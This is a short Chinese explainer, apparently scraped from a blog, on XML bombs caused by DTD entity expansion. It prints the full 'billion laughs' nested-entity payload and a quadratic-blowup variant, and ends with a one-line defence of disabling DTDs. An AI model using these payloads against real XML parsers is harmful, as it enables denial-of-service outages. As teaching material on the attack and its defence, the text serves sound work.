XML炸弹
XML document type definition (DTD)能够定义entity,DTD能够出如今外部文件或文件内部。
利用DTD能够产生XML炸弹,也就是能迅速占用大量内存的文件,以下为例:
当XML解析器尝试解析该文件时,因为DTD的定义指数级展开,这个1K不到的文件会占用到3G的内存。spa
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?xml version=
"1.0"
?>
<!DOCTYPE lolz [
<!ENTITY lol
"lol"
>
<!ENTITY lol2
"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"
>
<!ENTITY lol3
"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"
>
<!ENTITY lol4
"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"
>
<!ENTITY lol5
"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"
>
<!ENTITY lol6
"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"
>
<!ENTITY lol7
"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"
>
<!ENTITY lol8
"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"
>
<!ENTITY lol9
"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"
>
]>
<lolz>&lol9;</lolz>
|
还有一种,虽然扩展率没那么大,也颇有效。200K的可以扩展到2.5G。code
1
2
3
4
5
|
<?xml version=
"1.0"
?>
<!DOCTYPE kaboom [
<!ENTITY a
"aaaaaaaaaaaaaaaaaa..."
>
]>
<kaboom>&a;&a;&a;&a;&a;&a;&a;&a;&a;...</kaboom>
|
防护XML炸弹
禁止DTDxml